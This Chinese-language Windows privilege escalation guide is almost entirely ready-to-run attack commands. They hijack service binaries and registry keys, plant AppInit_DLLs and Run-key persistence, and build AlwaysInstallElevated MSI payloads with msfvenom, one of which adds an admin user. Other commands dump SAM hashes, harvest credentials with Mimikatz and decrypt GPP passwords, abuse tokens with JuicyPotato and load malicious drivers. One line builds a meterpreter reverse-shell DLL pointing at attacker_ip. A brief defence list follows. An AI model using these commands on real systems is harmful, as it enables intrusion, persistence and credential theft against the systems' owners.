深入解析:Windows 提权技术全攻略
字数 2159 2025-08-19 12:41:34
Windows 提权技术全面指南
1. 信息收集基础命令
在进行提权操作前,必须充分收集系统信息。以下是最关键的系统信息收集命令:
系统信息命令
systeminfo- 打印详细的系统配置信息whoami- 显示当前用户身份whoami /priv- 列出当前账户的所有权限hostname- 获取主机名
网络配置命令
ipconfig /all- 显示完整网络配置ipconfig /displaydns- 查看DNS缓存route print- 显示路由表arp -a- 显示ARP缓存表netstat -ano- 显示所有活动连接和监听端口
用户和组信息
net user- 列出所有用户账户net localgroup- 列出所有本地组net user [username]- 查看特定用户详细信息
服务和进程
tasklist /svc- 列出所有运行中的进程及其服务net start- 列出所有启动的服务sc query- 列出所有服务状态sc qc [ServiceName]- 查看特定服务的配置
文件和权限
dir /s [filename]- 在目录中搜索指定文件icacls "C:\Path"- 查看目录/文件的权限设置type [file.txt]- 查看文件内容
补丁和更新
wmic qfe get Caption,Description,HotFixID,InstalledOn- 列出已安装的补丁
2. 本地权限提升漏洞利用
利用Windows内核漏洞是最直接的提权方式:
漏洞资源
- GitHub上的Windows内核漏洞利用项目
- Exploit-DB中的本地提权漏洞
- Pentest Lab提供的Windows内核漏洞利用
利用步骤
- 使用
systeminfo或wmic qfe确定系统补丁级别 - 根据补丁情况匹配已知漏洞
- 下载并编译/运行对应的漏洞利用程序
- 获取SYSTEM或管理员权限
注意:内核漏洞利用可能导致系统不稳定,建议在测试环境中操作。
3. 服务配置错误利用
服务配置错误是常见的提权途径:
3.1 不带引号的服务路径
当服务路径未用引号包裹时,Windows会按空格分割执行:
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
→ 可能执行C:\Program.exe
检测命令:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
3.2 不安全的服务权限
使用accesschk.exe检查服务权限:
accesschk.exe -uwcqv "user" *
sc qc "VulnerableService"
若可修改,则:
sc config "Vulnerable" binpath="C:\malicious.exe"
sc stop "Vulnerable"
sc start "Vulnerable"
3.3 可执行文件替换
检查可写服务目录:
icacls "C:\Program Files\VulnerableService"
若可写,替换服务二进制文件。
3.4 注册表中的ImagePath
修改服务注册表项:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f
3.5 服务恢复选项
配置服务失败时执行恶意程序:
sc failure "VulnerableService" actions= restart/60000/run/60000
sc config "VulnerableService" binpath= "C:\malicious.exe"
4. Windows注册表漏洞利用
注册表是提权的重要目标:
4.1 自启动项
添加恶意程序到启动项:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Malicious" /t REG_SZ /d "C:\malicious.exe" /f
4.3 AlwaysInstallElevated
检查MSI安装提权设置:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
若启用(值为1),则可:
msiexec /i malicious.msi
4.4 注册表键权限
检查可写注册表键:
icacls "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService"
若可写,可修改服务配置。
4.8 AppInit_DLLs注入
DLL注入所有进程:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\malicious.dll" /f
5. 不安全的文件系统权限
文件系统权限错误常被利用:
5.1 可写的系统目录
检查系统目录权限:
icacls "C:\Windows\System32"
若可写,放置恶意DLL或EXE。
5.3 可写的计划任务
创建恶意计划任务:
schtasks /create /tn "MaliciousTask" /tr "C:\malicious.exe" /sc daily /st 12:00
5.4 可写的启动项
检查启动目录权限:
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
若可写,放置恶意快捷方式或程序。
5.6 系统备份文件
访问SAM文件获取哈希:
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system
使用工具提取哈希。
6. AlwaysInstallElevated漏洞详解
当AlwaysInstallElevated启用时:
6.2 创建并执行恶意MSI
使用msfvenom创建:
msfvenom -p windows/exec CMD=calc.exe -f msi -o malicious.msi
msiexec /i malicious.msi
6.4 创建管理员用户
msfvenom -p windows/adduser USER=hacker PASS=Password123 -f msi -o adduser.msi
msiexec /i adduser.msi
6.6 运行PowerShell脚本
msfvenom -p windows/powershell_exec -f msi -o ps_script.msi CMD="powershell -ExecutionPolicy Bypass -File C:\malicious.ps1"
msiexec /i ps_script.msi
7. 凭证窃取技术
获取凭证是提权关键:
7.1 使用Mimikatz
privilege::debug
sekurlsa::logonpasswords
7.2 从SAM提取哈希
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system
samdump2 C:\sam C:\system
7.4 GPP密码
查找并解密:
dir \\<domain>\SYSVOL\<domain>\Policies\ /s /b | findstr cpassword
gpp-decrypt <encrypted_password>
8. 令牌权限利用
滥用令牌权限提权:
8.1 SeDebugPrivilege
privilege::debug
token::elevate
8.2 SeImpersonatePrivilege
使用JuicyPotato:
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606B6-2631-43A8-9D99-2D5B86F82DE4}
8.5 SeLoadDriverPrivilege
加载恶意驱动:
sc create MaliciousDriver binPath= "C:\path\to\malicious.sys" type= kernel
sc start MaliciousDriver
9. DLL劫持技术
9.1 利用搜索顺序
放置恶意DLL在程序目录:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll
copy evil.dll "C:\Program Files\VulnerableApp\"
9.4 注册表DLL劫持
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\evil.dll" /f
10. 实用提权工具
自动化工具
- Metasploit:全面的渗透测试框架
- Sherlock:检查已知提权漏洞
- windows-privesc-check:检查权限配置错误
- Windows-Exploit-Suggester:根据补丁建议漏洞
- PowerUp:PowerShell自动化提权模块
- Nishang:PowerShell攻击脚本集合
防御建议
- 定期更新系统和应用补丁
- 严格控制服务和文件系统权限
- 禁用不必要的特权(如AlwaysInstallElevated)
- 监控注册表关键项变更
- 使用最小权限原则运行服务和应用程序
- 定期审计系统配置和权限设置
- 启用详细日志记录并监控异常活动
通过全面掌握这些技术,安全人员可以更好地评估系统安全性,而攻击者则能更有效地进行渗透测试。请务必在合法授权范围内使用这些技术。